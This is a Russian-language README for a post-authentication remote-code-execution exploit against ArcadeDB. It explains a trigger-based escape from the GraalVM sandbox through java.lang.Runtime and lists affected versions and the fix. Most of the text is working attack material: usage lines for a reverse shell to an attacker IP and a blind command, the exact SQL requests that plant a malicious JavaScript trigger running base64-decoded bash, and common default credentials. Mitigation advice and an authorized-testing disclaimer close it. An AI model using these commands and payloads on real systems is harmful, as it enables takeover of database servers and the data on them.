
Пост-аутентификационный RCE-эксплойт для ArcadeDB через JavaScript-триггер, обход песочницы GraalVM, выполняющий команды ОС через HTTP API с режимами reverse shell или «слепых» команд.
Удалённое выполнение кода после аутентификации в ArcadeDB (многомодельной базе данных на Java) через JAVASCRIPT-триггер, который получает доступ к host-классам.
Полиглот-движок GraalVM для триггера создаётся со списком разрешённых host-классов, в который
входит java.lang.* (ScriptTriggerExecutor.setAllowedPackages), поэтому триггерный скрипт может вызвать:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) это не блокирует — Runtime.exec — это вызов метода хоста,
разрешённый HostAccess.ALL, а не гостевой API процессов GraalVM. Для создания триггера требуется
только право UPDATE_SCHEMA (более слабое, чем UPDATE_SECURITY, которое ограничивает прямое
выполнение скриптов), поэтому root может сделать это — RCE после аутентификации через HTTP API.
< 26.7.2 (0 – 26.7.1)26.7.2 (удаляет java.lang.* из списка разрешённых пакетов триггера + добавляет жёстко заданный
HostClassLookupFilter со списком запрещённых процессов/рефлексии/загрузчиков классов)2480 (HTTP API + Studio; базовая аутентификация)Прямой командный путь
language:js— это не вектор атаки: в нём нет разрешённых пакетов (Java.typeзаблокирован), и доступ к нему ограничен правомUPDATE_SECURITY. Только исполнитель триггеров жёстко прописываетjava.lang.*.
Только стандартная библиотека Python 3 — без зависимостей. Действительные учётные данные ArcadeDB с правом UPDATE_SCHEMA
(например, root). В ArcadeDB нет зашитого в код пароля по умолчанию, но в его собственном docker-compose.yml
поставляется пример root:playwithdata — распространённые учётные данные, которые часто оставляют как есть.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Три аутентифицированных запроса POST /api/v1/command/<db> (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — срабатывает триггер BEFORE CREATE, и JavaScript выполняется.Команда ОС оборачивается в base64, чтобы слоям JavaScript/SQL/JSON не требовалось экранирование вложенных кавычек,
а скрипт не вызывает waitFor(), поэтому exec возвращается немедленно (дочерний процесс продолжает работать,
запрос не блокируется).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Обновите ArcadeDB до версии ≥ 26.7.2, задайте надёжный rootPassword (ни в коем случае не playwithdata), не запускайте
ArcadeDB от root, ограничьте UPDATE_SCHEMA и не открывайте HTTP API/Studio в недоверенных сетях.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.